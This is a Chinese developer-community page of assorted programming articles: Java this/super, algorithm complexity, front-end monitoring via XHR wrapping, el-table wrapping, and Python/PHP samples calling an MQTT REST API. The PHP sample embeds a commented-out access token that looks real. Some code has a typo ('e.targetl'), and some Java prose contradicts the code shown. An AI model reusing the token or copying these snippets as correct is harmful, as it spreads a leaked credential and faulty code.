注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

面试官:this和super有什么区别?this能调用到父类吗?

this 和 super 都是 Java 中常见的关键字,虽然二者在很多情况下都可以被省略,但它们在 Java 中所起的作用是不可磨灭的。它们都是用来起指代作用的,每个类在实例化的时候之所以能调用到 Object 类(Object 类是所有类的父类),全是二者...
继续阅读 »

this 和 super 都是 Java 中常见的关键字,虽然二者在很多情况下都可以被省略,但它们在 Java 中所起的作用是不可磨灭的。它们都是用来起指代作用的,每个类在实例化的时候之所以能调用到 Object 类(Object 类是所有类的父类),全是二者的“功劳”。

1.super 关键字

super 是用来访问父类实例属性和方法的。

1.1 super 方法使用

每个实例类如果没有显示的指定构造方法,那么它会生成一个隐藏的无参构造方法。对于 super() 方法也是类似,如果没有显示指定 super() 方法,那么子类会生成一个隐藏的 super() 方法,用来调用父类的无参构造方法,这就是咱们开篇所说的“每个类在实例化的时候之所以能调用到 Object 类,就是默认 super 方法起作用了”,接下来我们通过实例来验证一下这个说法。

PS:所谓的“显示”,是指在程序中主动的调用,也就是在程序中添加相应的执行代码。

public class SuperExample {
   // 测试方法
   public static void main(String[] args) {
       Son son = new Son();
  }
}

/**
* 父类
*/
class Father {
   public Father() {
       System.out.println("执行父类的构造方法");
  }
}

/**
* 子类
*/
class Son extends Father {
}

在以上代码中,子类 Son 并没有显示指定 super() 方法,我们运行以上程序,执行的结果如下: 从上述的打印结果可以看出,子类 Son 在没有显示指定 super() 方法的情况下,竟然调用了父类的无参构造方法,这样从侧面验证了,如果子类没有显示指定 super() 方法,那么它也会生成一个隐藏的 super() 方法。这一点我们也可以从此类生成的字节码文件中得到证实,如下图所示:

super 方法注意事项

如果显示使用 super() 方法,那么 super() 方法必须放在构造方法的首行,否则编译器会报错,如下代码所示: 如上图看到的那样,如果 super() 方法没有放在首行,那么编译器就会报错:提示 super() 方法必须放到构造方法的首行。 为什么要把 super() 方法放在首行呢? 这是因为,只要将 super() 方法放在首行,那么在实例化子类时才能确保父类已经被先初始化了。

1.2 super 属性使用

使用 super 还可以调用父类的属性,比如以下代码可以通过子类 Son 调用父类中的 age 属性,实现代码如下:

public class SuperExample {
   // 测试方法
   public static void main(String[] args) {
       Son son = new Son();
  }
}

/**
* 父类
*/
class Father {
   // 定义一个 age 属性
   public int age = 30;

   public Father() {
       super();
       System.out.println("执行父类的构造方法");
  }
}

/**
* 子类
*/
class Son extends Father {
   public Son() {
       System.out.println("父类 age:" + super.age);
  }
}

以上程序的执行结果如下图所示,在子类中成功地获取到了父类中的 age 属性:

2.this 关键字

this 是用来访问本类实例属性和方法的,它会先从本类中找,如果本类中找不到则在父类中找。

2.1 this 属性使用

this 最常见的用法是用来赋值本类属性的,比如常见的 setter 方法,如下代码所示: 上述代码中 this.name 表示 Person 类的 name 属性,此处的 this 关键字不能省略,如果省略就相当于给当前的局部变量 name 赋值 name,自己给自己赋值了。我们可以尝试一下,将 this 关键字取消掉,实现代码如下:

class Person {
   private String name;
   public void setName(String name) {
       this.name = name;
  }
   public String getName() {
       return name;
  }
}
public class ThisExample {
   public static void main(String[] args) {
       Person p = new Person();
       p.setName("磊哥");
       System.out.println(p.getName());
  }
}

以上程序的执行结果如下图所示: 从上述结果可以看出,将 this 关键字去掉之后,赋值失败,Person 对象中的 name 属性就为 null 了。

2.2 this 方法使用

我们可以使用 this() 方法来调用本类中的构造方法,具体实现代码如下:

public class ThisExample {
   // 测试方法
   public static void main(String[] args) {
       Son p = new Son("Java");
  }
}

/**
* 父类
*/
class Father {
   public Father() {
       System.out.println("执行父类的构造方法");
  }
}

/**
* 子类
*/
class Son extends Father {
   public Son() {
       System.out.println("子类中的无参构造方法");
  }
   public Son(String name) {
       // 使用 this 调用本类中无参的构造方法
       this();
       System.out.println("子类有参构造方法,name:" + name);
  }
}

以上程序的执行结果如下图所示: 从上述结果中可以看出,通过 this() 方法成功调用到了本类中的无参构造方法。

注意:this() 方法和 super() 方法的使用规则一样,如果显示的调用,只能放在方法的首行。

2.3 this 访问父类方法

接下来,我们尝试使用 this 访问父类方法,具体实现代码如下:

public class ThisExample {
   public static void main(String[] args) {
       Son son = new Son();
       son.sm();
  }
}

/**
* 父类
*/
class Father {
   public void fm() {
       System.out.println("调用了父类中的 fm() 方法");
  }
}

/**
* 子类
*/
class Son extends Father {
   public void sm() {
       System.out.println("调用子类的 sm() 方法访问父类方法");
       // 调用父类中的方法
       this.fm();
  }
}

以上程序的执行结果如下: 从上述结果可以看出,使用 this 是可以访问到父类中的方法的,this 会先从本类中找,如果找不到则会去父类中找。

3.this 和 super 的区别

1.指代的对象不同

super 指代的是父类,是用来访问父类的;而 this 指代的是当前类。

2.查找范围不同

super 只能查找父类,而 this 会先从本类中找,如果找不到则会去父类中找。

3.本类属性赋值不同

this 可以用来为本类的实例属性赋值,而 super 则不能实现此功能。

4.this 可用于 synchronized

因为 this 表示当前对象,所以this 可用于 synchronized(this){....} 加锁,而 super 则不能实现此功能。

总结

this 和 super 都是 Java 中的关键字,都起指代作用,当显示使用它们时,都需要将它们放在方法的首行(否则编译器会报错)。this 表示当前对象,super 用来指代父类对象,它们有四点不同:指代对象、查找访问、本类属性赋值和 synchronized 的使用不同。

作者:Java中文社群
来源:https://juejin.cn/post/7046994591253266440

收起阅读 »

觉得前端不需要懂算法?那来看下这个真实的例子

算法是问题的解决步骤,同一个问题可以有多种解决思路,也就会有多种算法,但是算法之间是有好坏之分的,区分标志就是复杂度。通过复杂度可以估算出耗时/内存占用等性能的好坏,所以我们用复杂度来评价算法。(不了解复杂度可以看这篇:性能分析不一定得用 Profiler,复...
继续阅读 »

算法是问题的解决步骤,同一个问题可以有多种解决思路,也就会有多种算法,但是算法之间是有好坏之分的,区分标志就是复杂度。

通过复杂度可以估算出耗时/内存占用等性能的好坏,所以我们用复杂度来评价算法。

(不了解复杂度可以看这篇:性能分析不一定得用 Profiler,复杂度分析也行

开发的时候,大多数场景下我们用最朴素的思路,也就是复杂度比较高的算法也没啥问题,好像也用不到各种高大上的算法,算法这个东西似乎可学可不学。

其实不是的,那是因为你没有遇到一些数据量大的场景。

下面我给你举一个我之前公司的具体场景的例子:

体现算法威力的例子

这是我前公司高德真实的例子。

我们会做全源码的依赖分析,会有几万个模块,一个模块依赖另一个模块叫做正向依赖,一个模块被另一个模块依赖叫做反向依赖。我们会先分析一遍正向依赖,然后再分析一遍反向依赖。

分析反向依赖的时候,之前的思路是这样的,对于每一个依赖,都遍历一边所有的模块,找到依赖它的模块,这就是它的反向依赖。

这个思路是很朴素的,容易想到的思路,但是这个思路有没有问题呢?

这个算法的复杂度是 O(n^2),如果 n 达到了十几万,那性能会很差的,从复杂度我们就可以估算出来。

事实上也确实是这样,后来我们跑一遍全源码依赖需要用 10 几个小时,甚至一晚上都跑不出来。

如果让你去优化,你会怎么优化性能呢?

有的同学可能会说,能不能拆成多进程/多个工作线程,把依赖分析的任务拆成几部分来做,这样能得到几倍的性能提升。

是,几倍的提升很大了。

但是如果说我们后来做了一个改动,性能直接提升了几万倍你信么?

我们的改动方式是这样的:

之前是在分析反向依赖的时候每一个依赖都要遍历一遍所有的正向依赖。但其实正向依赖反过来不就是反向依赖么?

所以我们直接改成了分析正向依赖的时候同时记录反向依赖。

这样根本就不需要单独分析反向依赖了,算法复杂度从 O(n^2)降到了 O(n)。

O(n^2) 到 O(n) 的变化在有几万个模块的时候,就相当于几万倍的性能提升。

这体现在时间上就是我们之前要跑一个晚上的代码,现在十几分钟就跑完了。这优化力度,你觉得光靠多线程/进程来跑能做到么?

这就是算法的威力,当你想到了一个复杂度更低的算法,那就意味着性能有了大幅的提升。

为什么我们整天说 diff 算法,因为它把 O(n^2) 的朴素算法复杂度降低到了 O(n),这就意味着 dom 节点有几千个的时候,就会有几千倍的性能提升。

所以,感受到算法的威力了么?

总结

多线程、缓存等手段最多提升几倍的性能,而算法的优化是直接提升数量级的性能,当数据量大了以后,就是几千几万倍的性能提升。

那为什么我们平时觉得算法没用呢?那是因为你处理的数据量太小了,处理几百个数据,你用 O(n^2) O(n^3) 和 O(n) 的算法,都差不了多少。

你处理的场景数据量越大,那算法的重要性越高,因为好的算法和差的算法的差别不是几倍几十倍那么简单,可能是几万倍的差别。

所以,你会见到各大公司都在考算法,没用么?不是的,是太过重要了,直接决定着写出的代码的性能。

原文:https://juejin.cn/post/7023024399376711694

收起阅读 »

前端监控系统设计

前言: 创建一个可随意插拔的插件式前端监控系统 一、数据采集 1.异常数据 1.1 静态资源异常 使用window.addEventListener('error',cb) 由于这个方法会捕获到很多error,所以我们要从中筛选出静态资源文件加载错误情况,这里...
继续阅读 »

前言: 创建一个可随意插拔的插件式前端监控系统


一、数据采集


1.异常数据


1.1 静态资源异常


使用window.addEventListener('error',cb)


由于这个方法会捕获到很多error,所以我们要从中筛选出静态资源文件加载错误情况,这里只监控了js、css、img


// 捕获静态资源加载失败错误 js css img
window.addEventListener('error', e => {
const target = e.targetl
if (!target) return
const typeName = e.target.localName;
let sourceUrl = "";
if (typeName === "link") {
sourceUrl = e.target.href;
} else if (typeName === "script" || typeName === "img") {
sourceUrl = e.target.src;
}

if (sourceUrl) {
lazyReportCache({
url: sourceUrl,
type: 'error',
subType: 'resource',
startTime: e.timeStamp,
html: target.outerHTML,
resourceType: target.tagName,
paths: e.path.map(item => item.tagName).filter(Boolean),
pageURL: getPageURL(),
})
}
}, true)


1.2 js错误


通过 window.onerror 获取错误发生时的行、列号,以及错误堆栈


生产环境需要上传打包后生成的map文件,利用source-map 对压缩后的代码文件和行列号得出未压缩前的报错行列数和源码文件


// parseErrorMsg.js
const fs = require('fs');
const path = require('path');
const sourceMap = require('source-map');

export default async function parseErrorMsg(error) {
const mapObj = JSON.parse(getMapFileContent(error.url))
const consumer = await new sourceMap.SourceMapConsumer(mapObj)
// 将 webpack://source-map-demo/./src/index.js 文件中的 ./ 去掉
const sources = mapObj.sources.map(item => format(item))
// 根据压缩后的报错信息得出未压缩前的报错行列数和源码文件
const originalInfo = consumer.originalPositionFor({ line: error.line, column: error.column })
// sourcesContent 中包含了各个文件的未压缩前的源码,根据文件名找出对应的源码
const originalFileContent = mapObj.sourcesContent[sources.indexOf(originalInfo.source)]
return {
file: originalInfo.source,
content: originalFileContent,
line: originalInfo.line,
column: originalInfo.column,
msg: error.msg,
error: error.error
}
}

function format(item) {
return item.replace(/(\.\/)*/g, '')
}

function getMapFileContent(url) {
return fs.readFileSync(path.resolve(__dirname, `./dist/${url.split('/').pop()}.map`), 'utf-8')
}

1.3 自定义异常


通过console.error打印出来的,我们将其认为是自定义错误


使用 window.console.error 上报自定义异常信息


1.4 接口异常



  1. 当状态码异常时,上报异常

  2. 重写 onloadend 方法,当其 response 对象中 code 值不为 '000000' 时上报异常 

  3. 重写 onerror 方法,当网络中断时无法触发 onload(end) 事件,会触发 onerror, 此时上报异常


1.5 监听未处理的promise错误


当Promise 被reject 且没有reject 处理器的时候,就会触发 unhandledrejection 事件


使用 window.addEventListener('unhandledrejection',cb)


2.性能数据


2.1 FP/FCP/LCP/CLS


chrome 开发团队提出了一系列用于检测网页性能的指标:



  • FP(first-paint),从页面加载开始到第一个像素绘制到屏幕上的时间

  • FCP(first-contentful-paint),从页面加载开始到页面内容的任何部分在屏幕上完成渲染的时间

  • LCP(largest-contentful-paint),从页面加载开始到最大文本块或图像元素在屏幕上完成渲染的时间

  • CLS(layout-shift),从页面加载开始和其生命周期状态变为隐藏期间发生的所有意外布局偏移的累积分数




其中,前三个性能指标都可以直接通过 PerformanceObserver (PerformanceObserver 是一个性能监测对象,用于监测性能度量事件 )来获取。而CLS 则需要通过一些计算。


在了解一下计算方式之前,我们先了解一下会话窗口的概念:一个或多个布局偏移间,它们之间有少于1秒的时间间隔,并且第一个和最后一个布局偏移时间间隔上限为5秒,超过5秒的布局偏移将被划分到新的会话窗口。


Chrome 速度指标团队在完成大规模分析后,将所有会话窗口中的偏移累加最大值用来反映页面布局最差的情况(即CLS)。


如下图:会话窗口2只有一个微小的布局偏移,则会话窗口2会被忽略,CLS只计算会话窗口1中布局偏移的总和。


拉低平均值的小布局偏移示例


2.2 DOMContentLoaded事件 和  onload 事件



  • DOMContentLoaded: HTML文档被加载和解析完成。在文档中没有脚本的情况下,浏览器解析完文档便能触发DOMContentLoaded;当文档中有脚本时,脚本会阻塞文档的解析,而脚本需要等位于脚本前面的css加载完才能执行。但是在任何情况下,DOMContentLoaded 都不需要等图片等其他资源的解析。

  • onload: 需要等页面中图片、视频、音频等其他所有资源都加载后才会触发。


为什么我们在开发时强调把css放在头部,js放在尾部?


image.png


首先文件放置顺序决定下载的优先级,而浏览器为了避免样式变化导致页面重排or重绘,会阻塞内容的呈现,等所有css加载并解析完成后才一次性呈现页面内容,在此期间就会出现“白屏”。


而现代浏览器为了优化用户体验,无需等到所有HTML文档都解析完成才开始构建布局渲染树,也就是说浏览器能够渲染不完整的DOM tree和cssom,尽快减少白屏时间。


假设我们把js放在头部,js会阻塞解析dom,导致FP(First Paint)延后,所以我们将js放在尾部,以减少FP的时间,但不会减少 DOMContentLoaded 被触发的时间。


2.3 资源加载耗时及是否命中缓存情况


通过 PerformanceObserver 收集,当浏览器不支持 PerformanceObserver,还可以通过 performance.getEntriesByType(entryType) 来进行降级处理,其中:



  • Navigation Timing 收集了HTML文档的性能指标

  • Resource Timing 收集了文档依赖的资源的性能指标,如:css,js,图片等等


这里不统计以下资源类型:



  • beacon: 用于上报数据,不统计

  • xmlhttprequest:单独统计


我们能够获取到资源对象的如下信息:


image.png


使用performance.now()精确计算程序执行时间:



  • performance.now()  与 Date.now()  不同的是,返回了以微秒(百万分之一秒)为单位的时间,更加精准。并且与 Date.now()  会受系统程序执行阻塞的影响不同,performance.now()  的时间是以恒定速率递增的,不受系统时间的影响(系统时间可被人为或软件调整)。

  • Date.now()  输出的是 UNIX 时间,即距离 1970 的时间,而 performance.now()  输出的是相对于 performance.timing.navigationStart(页面初始化) 的时间。

  • 使用 Date.now()  的差值并非绝对精确,因为计算时间时受系统限制(可能阻塞)。但使用 performance.now()  的差值,并不影响我们计算程序执行的精确时间。


判断该资源是否命中缓存:

在这些资源对象中有一个 transferSize 字段,它表示获取资源的大小,包括响应头字段和响应数据的大小。如果这个值为 0,说明是从缓存中直接读取的(强制缓存)。如果这个值不为 0,但是 encodedBodySize 字段为 0,说明它走的是协商缓存(encodedBodySize 表示请求响应数据 body 的大小)。不符合以上条件的,说明未命中缓存。


2.4 接口请求耗时以及接口调用成败情况


对XMLHttpRequest 原型链上的send 以及open方法进行改写


import { originalOpen, originalSend, originalProto } from '../utils/xhr'
import { lazyReportCache } from '../utils/report'

function overwriteOpenAndSend() {
originalProto.open = function newOpen(...args) {
this.url = args[1]
this.method = args[0]
originalOpen.apply(this, args)
}

originalProto.send = function newSend(...args) {
this.startTime = Date.now()

const onLoadend = () => {
this.endTime = Date.now()
this.duration = this.endTime - this.startTime

const { duration, startTime, endTime, url, method } = this
const { readyState, status, statusText, response, responseUrl, responseText } = this
console.log(this)
const reportData = {
status,
duration,
startTime,
endTime,
url,
method: (method || 'GET').toUpperCase(),
success: status >= 200 && status < 300,
subType: 'xhr',
type: 'performance',
}

lazyReportCache(reportData)

this.removeEventListener('loadend', onLoadend, true)
}

this.addEventListener('loadend', onLoadend, true)
originalSend.apply(this, args)
}
}

export default function xhr() {
overwriteOpenAndSend()
}

二、数据上报


1. 上报方法


采用sendBeacon 和 XMLHttpRequest 相结合的方式


为什么要使用sendBeacon?



统计和诊断代码通常要在 unload 或者 beforeunload (en-US) 事件处理器中发起一个同步 XMLHttpRequest 来发送数据。同步的 XMLHttpRequest 迫使用户代理延迟卸载文档,并使得下一个导航出现的更晚。下一个页面对于这种较差的载入表现无能为力。

navigator.sendBeacon()  方法可用于通过HTTP将少量数据异步传输到Web服务器,同时不会延迟页面的卸载或影响下一导航的载入性能。这就解决了提交分析数据时的所有的问题:数据可靠,传输异步并且不会影响下一页面的加载。



2. 上报时机



  1. 先缓存上报数据,缓存到一定数量后,利用 requestIdleCallback/setTimeout 延时上报。

  2. 在即将离开当前页面(刷新或关闭)时上报 (onBeforeUnload )/ 在页面不可见时上报(onVisibilitychange,判断document.visibilityState/ document.hidden 状态)

作者:spider集控团队
链接:https://juejin.cn/post/7046697922255126558

收起阅读 »

拒绝!封装el-table,请别再用JSON数组来配置列了

阅读本文📖你将:明白通过JSON 来配置el-table的列可能并不是那么美。(作者主观意见)学会一点关于VNode操作的实例。(一点点)辩证地思考一下当我们在团队内对组件进行二次封装时,哪些东西是我们需要取舍的。前言大家好,我是春哥。我热爱&nbs...
继续阅读 »

阅读本文📖

你将:

  1. 明白通过JSON 来配置el-table的列可能并不是那么美。(作者主观意见)
  2. 学会一点关于VNode操作的实例。(一点点)
  3. 辩证地思考一下当我们在团队内对组件进行二次封装时,哪些东西是我们需要取舍的。

前言

大家好,我是春哥
我热爱 vue.js , ElementUI , Element Plus 相关技术栈,我的目标是给大家分享最实用、最有用的知识点,希望大家都可以早早下班,并可以飞速完成工作,淡定摸鱼🐟。

相信使用 vue 的同学大部分都用过 Element 系列框架,并且绝大部分都用过其中的 el-table 组件。并且几乎所有人都会把表格和分页进行一层封装。

不过,很多人在封装时,总是习惯性地把 el-table 官方推荐的 "插槽写法" 改成 "JSON 数组" 写法。

就像这样:

<template>
<my-el-table :columns="columns" :data="tableData">
</my-el-table>
</template>
<script setup>
const columns = [
{
prop: 'date',
label: 'Date',
width: '180'
},
{
prop: 'name',
label: 'Name'
}
]
// ...其他略
</script>

但经过我多年踩坑的惨痛经历,我必须要大声说出那句话:
快住手!有更好的封装技巧

尔康式拒绝

JSON 式封装哪些缺点?

缺点一:学习成本增高

以下两种场景,如果是你今天刚刚入职,你更愿意在业务代码里看到哪种组件呢?

你更愿意使用哪种组件?

我反正是更偏向于 1 和 4
第 1 种意味着它有丰富的社区支持,有准确而清晰的文档和 demo 可以借鉴。
第 4 种意味着你依然可以靠官方文档横行,并且可以使用一些同事根据业务进行的"增强能力"。

那么 2 和 3 呢?
也许我的同事真的可以做出很好的封装,但如果你在小厂、在初创公司、甚至在外包公司,更大的可能是你的同事并不靠谱。
他的某些封装只是为了满足单一的业务场景, 但你为了了解他的功能,却不得不去面对全新的 api,甚至是通过看他的源码才能了解具体有什么 api 和能力。

在这种场景下,我选择面对熟悉的,官方的 api。 

缺点二:自定义内容需要写 h 函数

不会真的有人喜欢在业务里写 h 函数吧?

当简单的 JSON 配置无法满足产品经理那天马行空的想象力时,你可能需要对 el-table-column 里的内容进行更多的自定义。
此时,也许你就会怀念"插槽式"的便捷了。
假设你的产品经理要求你写一个 带色彩的状态列 。 h和插槽

以上两种写法你会选择哪种呢?
而且,当业务变得更加复杂的时候,h 函数写法的可读性是指数式下跌的,你怕不怕?

当然,用JSX写法来简化 h 函数写法是个不错的思路。

JSON 式封装有哪些优点?

优点一:能简化写法?(并不)

有人说:“ JSON 式封装,能够简化代码写法。”
听到这样的话,我的内心其实是充满困惑的:它究竟能简化什么?
写法上的对比

看出来了吗?
这种常见的所谓 封装,只不过是做了做简单形式化的转换:你并没有少写哪怕一个属性,只不过把它们从这里挪到了那里。

甚至于极端场景,你还需要多写代码:

// 从:
<el-table-column show-overflow-tooltip />
// 变成:
{
'show-overflow-tooltip': true
}

优点二:只有 JSON 化才能实现动态列?(并不)

我在《我对 Element 的 Table 做了封装》 里讨论时, JackLiR8 同学提出了一个疑问: 
简化一下就是:

怎样封装才能在保持插槽写法的情况下,实现 动态列呢 ?

其实这个问题并不难,前提是需要你理解 vNode 是什么以及怎么操作它们。

我做了一个简单的例子,核心代码如下:

// vue3 函数式组件写法
const FunctionalTable = (props, context) => {
// 获得插槽里的 vNodes
const vNodes = context.slots.default()
// 过滤 vNodes
const filteredVNodes = props.visibleKeys == null ? vNodes : vNodes.filter(node => props.visibleKeys.includes(node?.props?.prop))
// 把属性透传给el-table
return <el-table {...context.attrs}>
{ filteredVNodes }
</el-table>
}
// vue3 函数式组件定义 props
FunctionalTable.props = {
visibleKeys: {
type: Array,
default: () => null
}
}

这就能实现 动态列 了?
是的。
下面正是使用时的代码:

<template>
<el-button @click="onClick">给我变!</el-button>
<FunctionalTable :data="tableData" :visibleKeys="visibleKeys">
<el-table-column prop="date" label="Date" width="180" />
<el-table-column prop="name" label="Name" />
<el-table-column prop="address" label="Address" />
</FunctionalTable>
</template>
<script setup>
// 其他略
const visibleKeys = ref(['date', 'name'])
const onClick = () => {
visibleKeys.value = ['date', 'name', 'address']
}
// 其他略
// ...

效果如下: 插槽写法的动态列

毫无疑问,当遇到复杂场景,以及列里需要渲染各种奇形怪状的东西如 tagpopover 或者你需要进行更加复杂的定义的时候,插槽写法是更为优秀的。
这是上述demo的源代码 => github源码

优点三:JSON 配置能存数据库?(我劝你慎重)

"如果我把列的 JSON 配置存到数据库里,那我就不用写代码了!"

好家伙,我直呼好家伙!

除非你已经封装了非常成熟的可视化配置方案,否则! 当业务上需要新增一列时,不还是你写?服务端和运维可不会帮你写代码。

只不过你存储代码的地点,从 git 变成了 数据库

碰上懒一点的服务端,你还需要安装数据库链接软件,增加一项写 sql update 语句的活儿。

更让人感到害怕的是,你丢失了对代码版本跟踪的能力。

"为啥生产库/测试库/开发库存的数据不一样,到底应该用谁,我也不知道这字段是哪个版本、因为什么被谁合入的呀...."

那一刻,你可能会无比怀念 git commit-msg 那。

我期望的封装是什么样的?

如果你想设计一款基于"element UI"或"element Plus",能解决一些迫在眉睫的问题,能优化一些写法,能规范一些格式,能让团队小伙伴们乐于使用到组件库。
我想,你可能得充分考虑以下内容:

  • 它的API是否简单易学(甚至大部分就和 element 一模一样 )?
  • 它是否确确实实简化了业务上的写法?
    比如把 表格 和 分页器 合并,比如提供 请求方法 作为 prop 等都是能极大降低业务复杂性的封装。
  • 它是否扩展性强,易维护?api 设计是否和项目保持风格上的一致?
    在同一个项目里,render/jsx/template 混用很可能会让一些新人感到吃力。
  • 它是否是增强和渐进的?
    我可不希望当我试图使用 elementUI 某个特性时,我猛然发现我同事封装的组件居然不支持!

震惊!

免喷声明

以上所有配图和文本都是我的个人观点。

如果你认为它们是错的,那它们就是错的吧。

关于我反对把 Element 表格列 JSON化 最初的初心,我确实厌倦了在不同团队不同公司总是要一遍又一遍去看前同事们蹩脚的封装,去理解他们做了哪些东西,拼写有没有改编,有没有丢失特性,去再学习一遍完全没有学习价值的API

希望大家写代码时,都能获得良好的体验。

封装组件时,都能封装出"能用","好用", "大家愿意用"的组件!


原文:https://juejin.cn/post/7043578962026430471

收起阅读 »

Python服务端快速调用环信MQTT REST接口下发消息

本文介绍Python服务端通过调用环信MQTT REST API接口快速实现消息下发,使用时可参阅REST发送消息接口介绍1. 前提条件1.1 获取服务器信息调用环信MQTT REST API接口前,需要获取四个环信MQTT服务器信息,包括:应用clientI...
继续阅读 »


本文介绍Python服务端通过调用环信MQTT REST API接口快速实现消息下发,使用时可参阅
REST发送消息接口介绍


1. 前提条件

1.1 获取服务器信息
调用环信MQTT REST API接口前,需要获取四个环信MQTT服务器信息,包括:应用clientID应用clientSecretREST API地址及应用ID
1、应用clientID:从环信console【应用概览】->【应用详情】->【开发者ID】下 "client ID"获取;
2、应用clientSecret:从环信console【应用概览】->【应用详情】->【开发者ID】下"clientSecret"获取; 
3、RSET API地址:从环信console【MQTT】->【服务概览】->【服务配置】下"REST API地址"获取; 
4、应用ID:从环信console【MQTT】->【服务概览】->【服务配置】下"AppId"获取;



2. 实现流程 
注:本代码对消息体内容进行GBK转码,可支持语音播报(适用于扬声器播放中文内容),如不需要此场景使用,可根据需求设置转码格式。

import requests
import time
import json
import base64


# 填写服务参数
# 1、app_client_id:应用clientID
# 2、app_client_secret:应用clientSecret
# 3、api_url_base:RSET API地址
# 4、app_id:应用ID
app_client_id = ' XXXXX'

app_client_secret = 'XXXX'

api_url_base = 'XXXXX'

app_id = 'XXXXXX'


# 播报文字
speak_text = '欢迎使用环信mqtt'


# 获取应用token
api_url_app_token = api_url_base + '/openapi/rm/app/token'
def get_app_token():
data = {
'appClientId':app_client_id,
'appClientSecret':app_client_secret
}

header = {'Content-Type': 'application/json'}

re = requests.post(api_url_app_token, headers=header, data=json.dumps(data))
return (json.loads(re.text)['body']['access_token'])


# 发送mqtt消息
api_url_publish = api_url_base + '/openapi/v1/rm/chat/publish'
def send_msg(app_token, txt):

# 智能音箱的 msgid 每次都不一样才会播报声音
# 这里用毫秒时间戳当作 msgid
time_millis = int(round(time.time() * 1000))

dat ={
'type':'tts_dynamic',
'msgid': time_millis,
'txt':txt ,
}

json_text = json.dumps(dat, ensure_ascii=False)
json_h = json_text.encode(encoding="gbk")
base64_bytes = base64.b64encode(json_h)
base64_utf8 = str(base64_bytes,'utf-8')

#topics,要发送的主题
#clientid,当前客户端ID,格式为“xxxx@appid”
data = {
'topics':['861714050059769'],
'clientid':'12@ff6sc0',
'payload':base64_utf8,
"encoding":'base64',
'qos':1,
'retain':0,
'expire':86400
}

header = {
'Content-Type': 'application/json',
'Authorization': app_token
}

re = requests.post(api_url_publish, headers=header, data=json.dumps(data))
return (json.loads(re.text))


print('正在获取应用token...')
app_token = get_app_token()
print('获取应用token成功')

print(send_msg(app_token, speak_text))
print('发送消息成功')



 三、更多信息

* 如果您在使用MQTT服务中,有任何疑问和建议,欢迎您联系我们

收起阅读 »

PHP服务端快速调用环信MQTT REST接口下发消息

本文介绍PHP服务端通过调用环信MQTT REST API接口快速实现消息下发,使用时可参阅REST发送消息接口介绍1. 前提条件1.1 获取服务器信息调用环信MQTT REST API接口前,需要获取四个环信MQTT服务器信息,包括:应用clientID、应...
继续阅读 »


本文介绍PHP服务端通过调用环信MQTT REST API接口快速实现消息下发,使用时可参阅
REST发送消息接口介绍


1. 前提条件

1.1 获取服务器信息
调用环信MQTT REST API接口前,需要获取四个环信MQTT服务器信息,包括:应用clientID应用clientSecretREST API地址及应用ID
1、应用clientID:从环信console【应用概览】->【应用详情】->【开发者ID】下 "client ID"获取;
2、应用clientSecret:从环信console【应用概览】->【应用详情】->【开发者ID】下"clientSecret"获取; 
3、RSET API地址:从环信console【MQTT】->【服务概览】->【服务配置】下"REST API地址"获取; 
4、应用ID:从环信console【MQTT】->【服务概览】->【服务配置】下"AppId"获取;



2. 实现流程 
注:本代码对消息体内容进行GBK转码,可支持语音播报(适用于扬声器播放中文内容),如不需要此场景使用,可根据需求设置转码格式。

// 填写服务参数
// 1、client_id:应用clientID
// 2、client_secret:应用clientSecret
// 3、rest_uri:RSET API地址
// 4、app_id:应用ID
$config = [
'rest_uri' => 'XXXXXX',
'client_id' => 'XXXXXX',
'client_secret' => 'XXXXXX',
'app_id' => 'XXXXXX',
];

// 实时 token
$accessToken = get_access_token();

// 固定值,有有效期
//$accessToken = 'YWMtiftbBF7sEeyeASnTGg_ZZCGtXR4YNTAxtZpP1MjdlZbv64ppqWZOEI663pDy48tKAgMAAAF9xoOlvAWP1ADm__IWx_b4TLJvCb9axcY6cNImjMXJcx1ty7UK-Ked2w';

// 发送消息
$message = [
'type' => 'tts_dynamic',
'msgid' => 'c1b5d5f46092d4c01a5f422ae2b9ad41188',
'txt' => '测试测试'
];
var_dump(send(['861714050059769'], $message));

/**
* @description: 获取 Token
* @return {String}
*/
function get_access_token()
{
global $config;
$uri = $config['rest_uri'] . '/openapi/rm/app/token';
$body = [
'appClientId' => $config['client_id'],
'appClientSecret' => $config['client_secret'],
];
$headers = [
'Content-Type' => 'application/json',
];
$ret = json_decode(curl_request($uri, $body, $headers), true);
return isset($ret['code']) && $ret['code'] == 200 ? $ret['body']['access_token'] : $ret;
}

/**
* @description: 发送消息
* @param {array} $topics 要发消息的主题数组
* @param {mixed} $message 要发送的消息内容
* @param {String} $deviceID deviceID 用户自定义
* @return {array}
*/
function send($topics, $message, $deviceID = '12')
{
global $config, $accessToken;
$uri = $config['rest_uri'] . '/openapi/v1/rm/chat/publish';
$body = [
'topics' => $topics,
'clientid' => "{$deviceID}@{$config['app_id']}",
'payload' => base64_encode(iconv("UTF-8", "GBK", json_encode($message, JSON_UNESCAPED_UNICODE))),
'encoding' => 'base64',
];

$headers = [
'Content-Type' => 'application/json',
'Authorization' => $accessToken,
];
$ret = json_decode(curl_request($uri, $body, $headers), true);
return $ret;
}

/**
* @description: 查看消息
* @param {String} $messageId 指定的消息ID
* @return {array}
*/
function show($messageId)
{
global $config, $accessToken;
$uri = $config['rest_uri'] . '/openapi/rm/message/message?messageId=' . $messageId;
$headers = [
'Content-Type' => 'application/json',
'Authorization' => $accessToken,
];
$ret = json_decode(curl_request($uri, null, $headers), true);
if (isset($ret['code']) && $ret['code'] == 200) {
$ret['body']['message'] = json_decode(iconv('GBK', 'UTF-8', base64_decode($ret['body']['message'])), true);
return $ret['body'];
}
return $ret;
}

function curl_request($url, $data = null, $headers = null)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
// CURLOPT_HEADER => true, // 将头文件的信息作为数据流输出
// CURLOPT_NOBODY => false, // true 时将不输出 BODY 部分。同时 Mehtod 变成了 HEAD。修改为 false 时不会变成 GET。
// CURLOPT_CUSTOMREQUEST => $request->method, // 请求方法
